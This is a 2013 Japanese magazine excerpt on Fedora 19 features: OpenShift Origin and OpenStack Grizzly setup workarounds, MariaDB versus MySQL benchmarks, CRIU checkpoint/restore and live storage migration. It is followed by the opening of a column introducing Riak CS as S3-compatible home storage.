Enterprise Linux 7（以後、RHEL 7）のベースとなるリリースです。当初その役割はFedora 18が担う予定でしたが、
いくつかの主要機能の開発遅延によってFedora 19にスイッチされました。Fedora 19の新機能を概観し、RHEL 7
への準備を進めましょう。

http://fedoraproject.org/wiki/OpenShift_Origin-F19
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ります。しかしRed HatのTroy Dawson氏が
GitHubに公開しているインストールスクリプ
ト注2を利用すれば大幅に楽ができます。さらに
OpenShift OriginのWebサ イ ト（http://open 

shift.github.io/）からダウンロードできる仮想化
ゲストのイメージファイルを利用することもで
きますが、筆者が試したところFedora 19上で
はこのイメージファイルではうまく動作しませ
んでした。もう1点残念なこととして、Fedora 

19のOpenShift OriginにはWebコンソールが
付随せずFedora 20を待たなければなりません。
　開発エンジニアであればコマンドラインで
PaaSが利用できれば十分かもしれませんので、
そういった方向けに、次段落以降にインストー
ルスクリプトを利用したセットアップ手順を紹
介しますので参考にしてください。

 ■OpenShift Originのセットアップ
　上述のようにTroy Dawson氏のスクリプトを
利用してインストールします。まず、Fedora 19

を 2台のマシンにインストールし、一方を
broker、他方をnodeとします。先にbrokerを
セットアップするので、brokerでgitパッケー
ジをインストールし、スクリプトをダウンロー
ドします（図1）。
　oo-install-scripts/oo-install.confをエディタ
で開き、構築するネットワーク環境に合わせて

設定します。次のoo-install.confの例は筆者の
環境です。

DOMAIN="example.com"
BROKERNAME="broker"
NODENAME="node"
BROKERIP="192.168.1.40"
NODEIP="192.168.1.41"

　次に setup-broker.shを実行するのですが、
Fedora 19ではSELinuxのエラーで正常にセッ
トアップできないので、一時的にdisabledにし
ます注3。

# setenforce 0

　スクリプトに--slowオプションを付けるとト
ラブルシュート時に役立ちます。初回は付けて
おくことをお勧めします。

# cd oo-install-scripts
# sh setup-broker.sh --slow

　インストールが終了したところでマシンを再
起動し、openshift-brokerサービスが起動してい
ることをsystemctlコマンドで確認します（図2）。
　次にnodeをインストールします。setup-node-

from-broker.shを実行する際の注意点が2つあ
ります。1つめは、broker-node-auth-setup.sh

においてsshのキーの交換をしているのですが、
brokerからnodeに転送する際にnodeに/root/

注2） https://github.com/tdawson/oo-install-
scripts

注3） ○しかわさん、ごめんなさい。

 ▼図1　Troy Dawson氏のスクリプトを利用してインストール

# yum -y install git
# git clone git://github.com/tdawson/oo-install-scripts.git

 ▼図2　systemctlでopenshift-brokerサービスの起動をチェック

# systemctl status openshift-broker
openshift-broker.service - The OpenShift Origin Broker
   Loaded: loaded (/usr/lib/systemd/system/openshift-broker.service; enabled)
   Active: active (running) since Mon 2013-07-15 00:46:10 JST; 34s ago

http://openshift.github.io/
http://openshift.github.io/
https://github.com/tdawson/oo-install-scripts
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.ssh/ディレクトリがないとエラーが発生しま
す。nodeにログインしてsshコマンドを実行し
ておきましょう。もう1つはロケール設定によ
るもので、nodeが ja_JP.UTF-8になっていると
node-quota.shでエラーが発生するので、
LANG=Cとしておくのが確実です。

# sh setup-node-from-broker.sh

　nodeが再起動したのち、brokerがnodeと通
信できるかを、broker上でテストします。

# mco ping
node.example.com           time=131.69 ms

---- ping statistics ----
1 replies max: 131.69 min: 131.69 avg: ｭ
131.69

　さらにbrokerが動作しているかを、やはり
brokerでテストします（図3）。
　以上でbrokerとnodeのセットアップは終了で
す。

 ■ユーザのセットアップ
　では、OpenShift Originを利用するユーザを
作成し、最初のアプリケーションをデプロイし
てみましょう。クライアントとなるマシンに
Fedora 19をインストールしrubygem-rhcパッ
ケージをインストールします。

# yum -y install rubygem-rhc

　次に、環境変数・LIBRA_SERVERにbroker

のホスト名をセットして、rhc setupコマンドを
実行します。少し長くなりますが、インストー
ルとセットアップに成功していればこの流れに
なるはずですので、読者がチェックできるよう
に掲載しておきます（図4）。執筆時点ではバグ
があったため、正直なところ筆者も手こずりま
した。もしいずれかのステップでエラーが出る

ようであれば、brokerの /var/log/openshift/

broker/httpd/error_logが役立つはずです。
　これでクライアントのセットアップが完了し
たので、最初のアプリケーションを作成してみ
ましょう。

# rhc app-create test diy-0.1 -p demo

　デプロイが終了したらbrokerをネームサーバ
に指定して「http://test-demoland.example.

com/」にアクセスすると、デプロイしたアプリ
ケーションによって生成されるWebページにア
クセスできます。

OpenStack Grizzlyを採用

　OpenStackの 4番めのバージョンである
Diabloが同梱されたFedora 16から、Fedoraと
OpenStackのリリースサイクルが同じ6ヵ月と
いうこともあり双方のバージョンアップが同期
して、17：Essex、18：Folsom、そして19には
Grizzlyが同梱されました。当然、次のFedora 

20にもOpenStackの次期バージョン・Havana

が同梱されることになるでしょう。

 ■Fedora 19のGrizzlyは野生のクマにあらず
　Fedora 19での「同梱」とはOpenStackのコ
ミュニティ（http://openstack.org/）が配付する
ソースコードをFedoraやRed Hatフレイバーの
Linuxディストリビューション用にパッケージ
ングするRDOというプロジェクトの成果物を利
用できる、という意味です。RDOはRed Hatが
スポンサーするコミュニティで、その成果物を
ベースにRed Hat Enterprise Linux OpenStack 

Platform（以後、RHOS）という商用製品が提供
される点で、前述のOpenShiftと完全に同じモ
デルになっています。
　すでにOpenStackコミュニティ版でOpen

 ▼図3　brokerが動作しているかbrokerでテスト

# curl -k -u demo:demo https://localhost/broker/rest/api
{"data":{"API":{"href":"https://localhost/broker/rest/api","method......

http://openstack.org/
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Stackを構築したことのある人はご存じのとお
り、OpenStackはまだまだ成熟とはほど遠い状
態のため、RDOで1段階、そしてRHOSで2段
階の成熟が行われることには大きな意味があり
ます。またコミュニティ版が6ヵ月のリリース
サイクルにともなって短期のサポート期間しか
設定されないのに対し、RHOSではより長期の

サポートや後続バージョンからのバックポート
が行われる点でより企業向けの性格付けがされ
ていると言えます。

 ■OpenStack Grizzlyの機能強化点
　IaaSを構築するソリューションであるOpen

Stackの7つめのバージョンであるGrizzlyでは

 ▼図4　rhc setupコマンド実行の流れ

# LIBRA_SERVER=broker.example.com rhc setup
OpenShift Client Tools (RHC) Setup Wizard

This wizard will help you upload your SSH keys, set your application namespace, and check ｭ
that other programs like Git are properly installed.
The server's certificate is self-signed, which means that a secure connection can't be ｭ
established to 'broker.example.com'.
You may bypass this check, but any data you send to the server could be intercepted by ｭ
others.

Connect without checking the certificate? (yes¦no): yes
Login to broker.example.com: demo
Password: ****

OpenShift can create and store a token on disk which allows to you to access the server ｭ
without using your password. The key is stored in your home directory and should be kept ｭ
secret.  You can delete the key at any time by running 'rhc logout'.
Generate a token now? (yes¦no) no

Saving configuration to /root/.openshift/express.conf ... done

No SSH keys were found. We will generate a pair of keys for you.
    Created: /root/.ssh/id_rsa.pub
Your public SSH key must be uploaded to the OpenShift server to access code.  Upload now? 
(yes¦no) yes

Since you do not have any keys associated with your OpenShift account, your new key will be ｭ
uploaded as the 'default' key.
Uploading key 'default' ... done
Checking for git ... found git version 1.8.3.1
Checking common problems .. done
Checking your namespace ... none
Your namespace is unique to your account and is the suffix of the public URLs we assign to ｭ
your applications. You may configure your
namespace here or leave it blank and use 'rhc create-domain' to create a namespace later.  ｭ
You will not be able to create applications
without first creating a namespace.

Please enter a namespace (letters and numbers only) ¦<none>¦: demoland
Your domain name 'demoland' has been successfully created

Checking for applications ... none

Run 'rhc create-app' to create your first application.

  You are using 0 of 100 total gears
  The following gear sizes are available to you: small

Your client tools are now configured.
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①Fedora 19 x86_64をインストール

　インストール時に“cinder-volumes”というボ
リュームグループ（VG）を作成するか、インス
トール終了後にpvcreate / vgcreateコマンドで
VGを作成します。

# pvcreate /dev/sda4
（空いているパーティションを指定します）
# vgcreate cinder-volumes /dev/sda4

② openstack-packstackパッケージをインス

トール

　yum installコマンドでインストールします。

# yum -y install openstack-packstack

③ 問題を回避するためにpython-django14、

httpdパッケージをインストール

　Grizzlyに含まれるGlance（仮想マシンイメー
ジサービス）がpython-djangoの1.4系を必要と
するのですが、Fedora 19では1.5系が含まれる
ためにコンフリクトします。また、packstackの
puppetテンプレートはApache 2.2系がターゲッ
トとなっているため、Fedora 19に含まれる
Apache 2.4では設定ファイルのSyntaxエラーで
httpdが起動できません。このため、httpdパッ
ケージに含まれるhttpd.confを保持しておきま
す（図5）。

④mysqlのpuppetマニフェストを修正

　/usr/lib/python2.7/site-packages/packstack/

puppet/modules/mysql/manifests/params.pp

というファイルの、

  case $::osfamily {
    'RedHat': {

200項目以上の新機能が登場し注4、主要なもの
に限っても次のような項目が挙げられます。

・Nova：拡張性の強化、ハイパーバイザサポー
トの改善など

・Swift：クォータ機能
・Cinder：スケジューラ機能、各種ストレージ
用ドライバの追加

・Neutron：Big SwitchやBrocadeなどのプラ
グインの追加、拡張性の強化

　GrizzlyベースのRHOS 3.0にはサポートが提
供されないながらも、課金情報収集を行う
Ceilmeterや、オーケストレーションを行うHeat

も含まれています。

 ■クマを飼おう
　ではさっそくFedora 19でGrizzlyをセット
アップしてみましょうと言いたいところですが、
原稿執筆時点（Fedora 19 RC1）ではインストー
ルすら一筋縄ではいきませんでした。以下では
インストール時に発生する問題とその回避方法
を説明しますが、読者が本誌を手にする段階で
は役立たずになっているか（なっていることを祈
ります）、ほかの新たな問題に遭遇する可能性が
あることを先にお断りしておきます。
　なお、ここで挙げている問題については、RDO

あるいはRed Hatの問題管理システムである
Bugzilla（https://bugzilla.redhat.com/）に、筆
者や同僚がパッチ付きで問題報告しているので、
早晩、修正されると思われます。
　上述の「脅し」にもめげずにやってみたいとい
う方向けに、オールインワン、つまり1台のマ
シンでGrizzlyを飼う方法を次に説明します。
オールインワンのインストールはpackstackと
いうインストールスクリプトで可能です。

 ▼図5　httpdパッケージに含まれるhttpd.confを保持する

# yum -y install pytho-django14 httpd
# cp -a /etc/httpd/conf/httpd.conf ./
# chcon --reference /etc/httpd/conf/httpd.conf ./
httpd.conf（cpコマンドに-aオプションを付け忘れた場合）

注4） http://Web.openstack.org/
software/grizzly/

http://www.openstack.org/software/grizzly/
https://bugzilla.redhat.com/
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に続く、

      $client_package_name   = 'mysql'
      $server_package_name   = 'mysql- ｭ
server'

を、

      $client_package_name   = 'mariadb'
      $server_package_name   = 'mariadb-ｭ
server'

に修正します。
　後述しますが、Fedora 19ではMySQLから
MariaDBにデフォルトが変更されており、これ
にともないmysqlパッケージはcommunity-mysql

に名称が変更されています。マニフェストを修
正せずにインストールすると「mysqlパッケージ
がない」というエラーでpackstackが終了してし
まいます。またパッケージング時のエラーによっ
て、community-mysql-serverパッケージをイン
ストールするとcommunity-mysql-libsではなく
mariadb-libsパッケージがインストールされて
しまう点も問題です。

⑤keystoneのpuppetマニフェストを修正

　/usr/lib/python2.7/site-packages/packstack/

puppet/modules/keystone/manifests/init.pp と
いうファイルの、

  file { '/etc/keystone/keystone.conf':
    mode    => '0600',
  }

のあとに、

  file { '/var/log/keystone/keystone.log':
    owner    => 'keystone',
    group    => 'keystone',
  }

を追加します。
　keystoneがパーミッションエラーで起動でき
ない問題を回避するためのものです。

⑥ novaのpuppetテンプレートを修正

　/usr/lib/python2.7/site-packages/packstack/

puppet/templates/nova_compute.ppというファ
イルの次の行をコメントアウトします（図6）。
　Fedora 19ではkvm.modulesというファイル
は必要がないために削除されています注5。

⑦xinetdのpuppetマニフェストを修正

　/usr/lib/python2.7/site-packages/packstack/

puppet/modules/xinetd/manifests/init.ppとい
うファイルの、

    restart => '/etc/init.d/xinetd ｭ
reload',

を、

    restart => 'systemctl reload xinetd',

に修正します。
　Fedoraではすでにサービスの管理はsystemd

に移行しているため、systemctlコマンドを用い
ます。

⑧Swiftのリングバッファスクリプト

　/usr/lib/python2.7/site-packages/packstack/

puppet/modules/swift/lib/puppet/provider/

swift_ring_builder.rbというファイルでエラー
が出ます。すでにアップストリームでは修正さ
れており、ファイル注6を差し替えれば問題を回

注5） https://bugzilla.redhat.com/show_
bug.cgi?id=963198

 ▼図6　コメントアウトする行

exec {'load_kvm':
    user => 'root',
    command => '/bin/sh /etc/sysconfig/modules/kvm.modules'
}

Class['nova::compute']-> Exec["load_kvm"]

注6） https://github.com/
stackforge/puppet-
swift/commit/ee4a9d
48599bce332d0d7b
df4f8c0bbb6d9c6f2e

https://bugzilla.redhat.com/show_bug.cgi?id=963198
https://github.com/stackforge/puppet-swift/commit/ee4a9d48599bce332d0d7bdf4f8c0bbb6d9c6f2e
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避できます。

⑨packstackを実行

# packstack --allinone

　実行後に何かしらのエラーが検出されて再度
packstackコマンドを実行するときは、実行した
ディレクトリに作成されたanswerファイルを引
数に与えることでパスワードの不一致などの問
題が発生することを回避できます。

# packstack --answer-file packstack- ｭ
answers-YYYYMMDD-hhmmss.txt

　ただし手順③のhttpdの問題はpuppetの修正
で回避していないため、httpdが起動しないとい
うエラーが出ても無視してください。

⑩httpdの修正

　puppetが作成した不必要なディレクトリを削
除し、httpd.confを上書きします。

# rm -rf /etc/httpd/mod.d /etc/httpd/ ｭ
conf/httpd.conf
# cp -a ./httpd.conf /etc/httpd/conf/

⑪ファイアウォールの設定

　Fedora 19でのデフォルトファイアウォール
はfi rewalldになっているため、fi rewall-cmdで
外部からの通信を適宜許可します。

# firewall-cmd --permanent --add-port ｭ
80/tcp
# firewall-cmd --add-port 80/tcp

　もしファイアウォール設定を全面的に無効に
して試したいのであれば、次のように trusted 

zoneをデフォルトゾーンにします。

# firewall-cmd --set-default-zone trusted

 ■やっぱりクマはクマ
　インストールが終了すれば、アクセスすべき

URLとadminのパスワードを記したファイル・
keystonerc_adminが生成されるはずです。Let's 

enjoy OpenStack!と脳天気に言えない、やはり
クマはクマ、な状況なのが心苦しいですが、OSS

を堪能するにはうってつけの素材だと思います
ので楽しみましょう（笑）。

サーバとしての
Fedora 19

MySQLからMariaDBへ

 ■MySQL問題の「簡単な」経緯
　MySQLのオリジナルの開発元であるMySQL 

ABがSun Microsystemsに買収され、さらに
Sun MicrosystemsがOracleに買収されました。
これに伴いOracleはMySQLプロジェクトをよ
り閉鎖的な体制とし、セキュリティの脆弱性に
関する情報の開示や、完全なレグレッションテ
ストの情報を提供しないという懸念が高まった
ことから、Fedora 19ではMariaDBを“mysql”
のデフォルトのデータベースに変更しました。
　MariaDBはMySQL ABの創設者の一人であ
るMichael Wideniusに よ っ てMySQLか ら
フォークしたプロジェクトで、MySQLとAPI/

ABIの完全な互換性を持ち、データベースエン
ジンもMySQLとほぼ同等となっています。

 ■MySQLはどうなった？
　Fedora 19ではyumコマンドを用いて“mysql”
をインストールするとmariadbがインストール
されるようになりました。サーバパッケージで
ある“mysql-server”についても同様にmariadb-

serverがインストールされます。
　一方でオリジナルの“mysql”をインストール
するにはcommunity-mysqlというパッケージを
インストールするのですが、サーバパッケージ
については現時点では問題があり、community-

mysql-serverをインストールすると依存する
perl-DBD-MySQLをインストールすることに



Red Hat Enterprise Linux 7に向けた 最終段階に入ったFedora 19

112 - Software Design Sep.  2013 - 113

なり、その依存性の解決の結果として libmy

sqlclient.so.18を提供する“mariadb-libs”がイン
ストールされてしまいます。mariadb-libsおよ
び community-mysql-libsパッケージがインス
トールするファイルを見ると、図7のようになっ
ています。
　このうち上から2つがcommunity-mysql-libs、
残りがmariadb-libsが提供するライブラリです。
　筆者が確認した範囲では、mariadb-libsと
community-mysql-serverが混在している状態で
も目立った問題は発生しないのですが、バージョ
ンが異なることや今後の両者の乖離の可能性を考
慮すると、あまり気持ちの良い状態ではありませ
ん。また/etc/yum.confにexclude=mariadb*を指
定すると、依存性を解決できないために
community-mysql-serverをインストールするこ
とはできません。mariadb-libsをインストール
せずにcommunity-mysql-serverをインストール
するには、perl-DBD-MySQLのspecファイル
を修正してリビルドする必要があります（図8）。

 ■マリア様を見てみると
　Fedora 19のインストーラDVDに含まれる、
libmysqlclientに依存しているRPMパッケージ
をチェックしたところ、すべてのパッケージが
mariadb-libsに依存している状態になっており、
community-mysql-libsが提供するライブラリへ

の依存は見られません。したがってmariadb-libs

への移行に問題はないわけですが、他方でDVD

に含まれないパッケージ、前述のOpenStackの
PackStackのように、Fedora 19ではmariadbに
移行せざるを得ない状況も生まれています。も
ちろん、PackStackに頼らずにインストールす
ればこの呪縛から逃れることはできますが、今
後はmariadbへの移行をまず検討することをお
勧めします。
　とはいえ、API/ABIの互換性が保たれている
だけではなく性能的にも同等以上でないと、な
かなか移行を実施できないと思われます。そこ
で、community-mysql-benchパッケージで/usr/

share/sql-bench/run-all-testsを実行してみま
した（表1）。パッケージのバージョンなどは次
のとおりです。

・MySQL
　community-mysql-5.5.32-2
　community-mysql-server-5.5.32-2
　community-mysql-libs-5.5.32-2
　community-mysql-common-5.5.32-2

・MariaDB
　mariadb-5.5.31-4
　mariadb-server-5.5.31-4
　mariadb-libs-5.5.31-4

 ▼図7　mariadb-libs、community-mysql-libsパッケージがインストールするファイル

# ll /usr/lib64/mysql/
合計 5964
lrwxrwxrwx. 1 root root      26  7月  3 21:05 libmysqlclient.so.1018 -> libmysqlclient.ｭ
so.1018.0.0
-rwxr-xr-x. 1 root root 2989608  6月 14 18:06 libmysqlclient.so.1018.0.0
lrwxrwxrwx. 1 root root      24  7月  3 21:04 libmysqlclient.so.18 -> libmysqlclient.ｭ
so.18.0.0
-rwxr-xr-x. 1 root root 3114576  6月 19 18:58 libmysqlclient.so.18.0.0

 ▼図8　perl-DBD-MySQLのspecファイルを修正する

BuildRequires:  mariadb, mariadb-devel, zlib-devel

BuildRequires:  community-mysql, community-mysql-devel, zlib-devel
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　厳密なベンチマーク結果ではないのであくま
で参考ですが、SELECTはMariaDBのほうが
遅く、逆に INSERTではMariaDBのほうがか
なり高速という結果です。コネクションプーリ
ングしない場合、connectがMariaDBは1割遅
いので性能上、ボトルネックになりやすそうに
見えます。ただし、移行を検討する際に大きな
障害にはならず、むしろINSERTを多用するア
プリケーションのバックグラウンドとして用い
るのであれば、積極的にMariaDBへの移行を検
討する価値がありそうだと言えます。

Checkpoint / Restore

 ■Checkpoint / Restoreとは？
　Checkpoint / Restoreは2012年3月にリリー
スされたLinuxカーネル3.3からコードのマージ
が開始され、3.9までにほぼすべてのコードが
マージされました。Fedora 19はカーネル3.9を
採用しており、Checkpoint / Restoreに必要な
CONFIG_CHECKPOINT_RESTOREなどの
カーネルのコンフィグが有効になっています。
また、ユーザスペースはOpenVZのプロジェク
トである CRIU（「クリウ」、http://criu.org/

Main_Page）の成果物を、Fedora用のcrtoolsと
いうパッケージとして同梱しています。
　Checkpoint / Restoreは、実行中のユーザプ
ロセスをフリーズしてファイルとして書き出し、
そのファイルをリストアすることでユーザプロ

セスを再開させるものです。すでにKVM

（Kernel-based Virtual Machine）などではライ
ブマイグレーションが実現されていますが、コ
ンテナではプロセスを区画に押し込めるだけで
すので、ライブマイグレーション相当の機能を
実現するためにはCheckpoint / Restoreが必要
となります。
　ほかにも、起動に時間がかかるサービスを起
動した状態で保存しておいて必要になったとき
に短時間で起動することや、リモートのサーバ
にプロセスを fork()するような用途も考えられ
ます。

 ■Checkpoint / Restoreを使ってみよう
　本誌2012年11月号の「Linuxカーネル観光ガ
イド」においても触れられていますが、Fedora 

19での利用方法を含め少し詳細に見てみましょ
う。Checkpoint / Restoreを利用するには
crtoolsパッケージをインストールします。

# yum -y install crtools

　次に以下のような簡単なスクリプトを作成し、
実行権限を付与します。

# cat test.sh 
#!/bin/bash
LANG=C
while :; do
    echo $i:`date`
    sleep 1
done
# chmod +x test.sh

　このスクリプトをシェルから実行してcrtools

でdumpすると失敗します。実行中のシェルと
共有しているリソースがあることが原因ですの
で、次のようにsetsidコマンドで独立した状態
で実行し、スクリプトが実行されていることと
プロセスIDを調べます。

# setsid ./test.sh < /dev/null &> test.log &
# ps -C test.sh
  PID TTY          TIME CMD
 2051 ?        00:00:00 test.sh

MariaDB MySQL
Operation
ATIS 4.00 7.00
alter-table 20.00 20.00
big-tables 6.00 7.00
connect 28.00 25.00
create 96.00 115.00
insert 1375.00 1845.00
select 119.00 107.00
wisconsin 7.00 13.00
TOTALS 1858.00 2463.00

 ▼表1　MariaDBとMySQLのベンチマーク結果
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　そのままcrtools dumpコマンドを実行すると、
ダンプの結果得られる大量のファイルが現在の
ディレクトリに作成されてしまうので、適当な
ディレクトリを用意します。crtoolsコマンドの
各オプションについてはcrtools --helpコマンド
を確認してください。ここで重要なのは、ダン
プの対象であるプロセスを指定する-t PIDオプ
ションです。crtools dumpコマンドの実行後、
スクリプトが終了したことを確認します（図9）。
　この時点でスクリプトからリダイレクトした
ファイル・test.logの中身を確認すると、次のよ
うになっています。

......
45:Tue Jul 2 23:36:18 JST 2013
46:Tue Jul 2 23:36:19 JST 2013
47:Tue Jul 2 23:36:20 JST 2013
48:Tue Jul 2 23:36:21 JST 2013
49:Tue Jul 2 23:36:22 JST 2013

　次にダンプからプロセスをリストアし、プロ
セスIDを確認します（図10）。
　さて、test.logファイルはどうなったかという
と、49行目と50行目の間に約3分が経過してい
ますが、シリアル番号は連続していることから
プロセスが再開されたことがわかります。

......
49:Tue Jul 2 23:36:22 JST 2013
50:Tue Jul 2 23:39:35 JST 2013
51:Tue Jul 2 23:39:36 JST 2013
52:Tue Jul 2 23:39:37 JST 2013
53:Tue Jul 2 23:39:38 JST 2013
......

　上記の例は同一のマシン上で行っていますが、

リモートのマシンにダンプや必要なファイル（上
記の例では test.logファイル）を転送すれば同一
のマシンで実行したのと同様にプロセスを再開
することができます。ただし転送元と転送先の
カーネルやライブラリなどが同一でないと、再
開したプロセスがsegfaultで停止してしまうの
で注意しましょう。
　実装について興味のある方はコードにあたる
のもけっこうですが、CRIUのページに概要が
説明（http://criu.org/Checkpoint/Restore）さ
れていますのでそちらを先に一読されるのが良
いでしょう。

ライブストレージマイグ
レーションが可能に！

ライブストレージマイグレーションとは？

　仮想マシンのメモリやディスクイメージを、
仮想マシン上のゲストOSが動作したまま、共
有ストレージの助けを借りずに別の仮想ホスト
上に移動させる機能はqemu 0.12から含まれて
いましたが、パフォーマンスや使い勝手がよく
ないことが難点でした。Fedora 19で登場した
ライブストレージマイグレーションは、これら
の問題を解決する新機能となっています。

 ■ライブストレージマイグレーションのしくみ
　libvirtがマイグレーションの指示を受けると、
libvirtは転送先のホストでqemuを起動しNBD

（Network Block Device）サーバを起動します。
 ▼図9　ディレクトリを作ってcrtools dumpを実行する

# mkdir /tmp/test_dump
# crtools dump -t 2051 -D /tmp/test_dump/ -vvv -o /tmp/dump.log && echo OK
# ps -C test.sh
  PID TTY          TIME CMD

 ▼図10　プロセス IDを確認する

# crtools restore -D /tmp/test_dump/ -d -t 2051 -vvv -o /tmp/restore.log && echo OK
# ps -C test.sh
  PID TTY          TIME CMD
 2051 ?        00:00:00 test.sh

http://criu.org/Checkpoint/Restore
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転送先ホストでNBDサーバを起動し、このサー
バをミラー先とするドライブミラーを開始して
ミラーリングのジョブが安定すると libvirtは
migrateコマンドを発行します。転送が終了す
ると転送先ホストで実行されているNBDサーバ
は libvirtによって停止されます。

 ■やってみよう！
　Fedora 19をインストールした2台のホスト
を用意します。もし1台で試したい場合は、
Nested KVM環境を用意します。もちろん、い
ずれのホストでもKVMによる仮想化が利用で
きる設定とし、転送元ホスト上でゲストOSを
インストールします。また、ゲストOSのハー
ドウェア構成が転送先ホストでも利用できるこ
とを確認しておきましょう。たとえば、仮想NIC

の種類によっては転送先ホストで利用できない、
あるいはCPUの世代が異なるといった点です。
　最初に転送元ホストでsshのキーを作成し、転
送先ホストに転送します（図11）。
　次に転送元ホストで転送するゲストOSを起
動し、イメージのサイズと種類を確認します（図
12）。
　さらに転送先ホストでイメージを受け入れる

「スタブ」ディスクイメージを作成します（図13）。
　最後に転送先ホストでファイアウォールを停
止、あるいは trustedゾーンに設定します。

# firewall-cmd --set-default-zone trusted

　これで準備は完了しましたので、転送してみ
ましょう（図14）。
　転送が100%になればvirshコマンドは終了
し、転送先ホストで転送されたゲストOSが動
作していることが確認できます。

# virsh list --all

 ■これからこうなる？
　現時点での実装ではスタブのディスクイメー
ジを事前に作成する必要がありますが、将来的
にはこの制限がなくなることが期待されます。
また、動的なファイアウォール実装である
fi rewalldは、アプリケーション、この場合は
libvirtdがD-Bus経由でルールを変更すること
ができます。したがってマイグレーションの間
だけNBDサーバのポートをオープンする実装が
加われば、利便性とセキュリティの両立ができ
ると考えられます。｢

 ▼図11　転送元ホストでsshのキーを作成し、転送先ホストに転送

# ssh-keygen -t rsa
# scp /root/.ssh/id_rsa.pub root@destination.host:/root/.ssh/authorized_keys

 ▼図14　転送する

# virsh migrate --verbose --p2p --copy-storage-all --live fedora19_tobemigrated qemu+ssh://ｭ
destination.host/system
マイグレーション: [100 %]

 ▼図12　ゲストOSとイメージサイズ／種類を確認する

# virsh start fedora19_tobemigrated
# qemu-img info /var/lib/libvirt/images/fedora19_tobemigrated.img 
image: /var/lib/libvirt/images/fedora19_tobemigrated.img
file format: raw
virtual size: 8.0G (8589934592 bytes)
disk size: 8.0G

 ▼図13　「スタブ」ディスクイメージを作成する

# qemu-img create -f rawa /var/lib/libvirt/images/fedora19_tobemigrated.img 8G
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　秋葉原でパーツを買ってきてサーバを組み立
ててファイルサーバに組み上げて、1年ほど運
用できたが、ある日突然ディスクが故障してデー
タが吹っ飛んでバックアップの運用を学ぶ。そ
してソフトウェアRAIDやZFS、LVMに詳し
くなっていく……コンピュータ技術者なら誰も
が通る道だ（と筆者は勝手に思っている）。
RAIDの再構築に泣いたり、LVMにしたもの
のどの物理ディスクが壊れたのかわからなくなっ
て結局データを失う……思わず遠い目をしてし
まうことだろう。
　しかし昨今では、多少の大きなデータもクラ
ウド注1上に簡単にバックアップできるように
なった。どんなデータでも、個人で払える程度
の料金を払えばT

テラバイト

Bクラスのデータをクラウド
上におけるようになったことは、自宅でサーバ
の運用が面倒だという人にとってはとてもうれ
しいことだろう。
　クラウドという文脈ではあまり語られないこ
とかもしれないが、家庭用の契約においては、
日本のほとんどのISP注2で何らかのアップロー
ド制限が存在する。たとえば、1日あたりの上
りトラフィックに制限を設けたり、量が多いユー

注1） 本稿でクラウドという場合は、IaaSやPaaSではなくクラ
ウドストレージのことを指す。

注2） Internet Service Provider、プロバイダのこと。

ザには帯域制限をかけたりする。これはインター
ネットの仕組み上仕方がないことで、下りトラ
フィックのコストが低い分、上りのトラフィッ
クに課金をするという ISPの伝統的なビジネ
スモデルのためだ。
　このため、数十GB以上のデータを持ち、そ
れに頻繁にアクセスしたり、更新する人にとっ
てはクラウド上にデータを保管するのがほとん
ど現実的でない場合もある。
　自宅のサーバ運用に慣れた人や、クラウドに
置いたら個人では破産してしまうような量のデー
タを持つ人にとってはまだクラウドのハードル
は高く、自宅にストレージを設置してデータを
保存することになる。
　しかし、自宅でストレージを運用するのも、
これはこれで非常に面倒なことだ。
　そこで本稿では、そういった問題を解決する
ソフトウェアとしてRiak CS注3を紹介する。
　Riak CSはその名のとおり、クラウドストレー
ジのソフトウェアである。これを使えば、多少
のハードウェアの故障にも低い運用の手間で対
応でき、ほぼ無限に拡張できるストレージ空間
を持ち、データを失うことなくほぼ永久にサー
ビスを運用できる。
　おおまかなしくみとして、Riak CSは、ユー
ザの管理情報とチャンクに分割したオブジェク
ト、そのほかすべてのメタデータをRiakだけ
に保存している。そのため、7月号、8月号で

注3） http://docs.basho.com/riakcs/latest/

Riak CSが
解決する問題

第3回

　自宅にAWS S3が欲しいと思ったことはないだろうか。本稿では、それを可能にするソフトウェア、Riak CS（Cloud 
Storage）を紹介する。 注）本稿は、筆者の意向により常体で表記している。
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解説してきたRiakのメリットをすべて享受で
きる。つまり、Riak CSはRiakとは別のメタ
データを保存するデータベースを必要としない
し、Riak CS自身が何かデータを内部に保持す
ることはない。Riakの上でRiak CSはHTTP

のアプリケーションサーバのような位置づけで
動作する。そのため、Riak CSのプロセスその
ものの運用はとても簡単だ。

　Amazon S3はクラウドストレージといっても、
HTTPとHTTPSインターフェースだけを持つ
ストレージで、従来のストレージのように
SCSIや InfiniBandなどのインターフェースを
持っているわけではない。iSCSIでもなく
Restful HTTPを採用することによって、クラ
イアントの複雑さを大きく下げることに成功し
ている。
　そのため、さまざまなユーザがS3クライア
ントを独自に開発し、多様なユースケースをカ
バーする多くのライブラリが開発されている。
そのエコシステムの中でも代表的なS3クライ
アントが次のものである。

・ s3cmd
・ dragondisk
・ boto

　ほかにも数えきれないほど多くのクライアン
トが多くの企業・個人によって公開されている。
これらのソフトウェアがRiak CSでもそのま
ま動作するので注4、ユーザは多種多様な使い方
ができる。ここではDragonDisk注5を紹介する。
　DragonDisk注6はWindows、Mac OS X、Linux

で使用できるS3のGUIクライアントだ。ウィン
ドウの左右のペインでドラッグ&ドロップすれ

注4） disclaimer：Riak CSでは実装されていないAPIもあるため、
すべてが動作するとは限らない。

注5） http://www.dragondisk.com/

注6） http://docs.basho.com/riakcs/1.3.1/cookbooks/
configuration/Configuring-DragonDisk/

ばファイルやディレクトリをコピーできる（図1）。
　ほかにも各種SDKがあり、C、C#、PHP、
Ruby、Javaなどほとんどのプログラミング言語で
REST API経由でRiak CSを利用できる。

プロセス構成

　大まかにいうと、Riak CSはオブジェクトを
1MBのチャンクに分割してRiakに保存するため
のアプリケーションサーバである。Riak CSの
システムを構成するプロセスは3種類ある（図2）。

● Riak
　分割されたオブジェクトのデータ、オブジェ
クトのメタデータ、ユーザ情報、すべてのデー

図1　 Windows からDragonDiskを使えば、GUIで ▼
Riak CSにアクセスできる（Con� guring 
Dragondiskより）

S3互換クライアントを
使うことができる

プロセス構成と
システム設計

LB

Riak CS

Riak

Stanchion

Riak CSRiak CS

Riak

Riak CSRiak CS

Riak

図2　Riak CS プロセス構成図 ▼

http://www.dragondisk.com/
http://docs.basho.com/riakcs/1.3.1/cookbooks/configuration/Configuring-DragonDisk/
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タが保存される。データの量が増えてきたとき
は、Riakノードを追加すればよい。

● Riak CS
　クライアントからのHTTP リクエストを受け
付けて、ユーザの認証、オブジェクトの作成、
削除、読み出しなどを行う。クライアントから
のリクエストのたびにRiakに対して書き込み、
読み出しを行うアプリケーションサーバに近い。
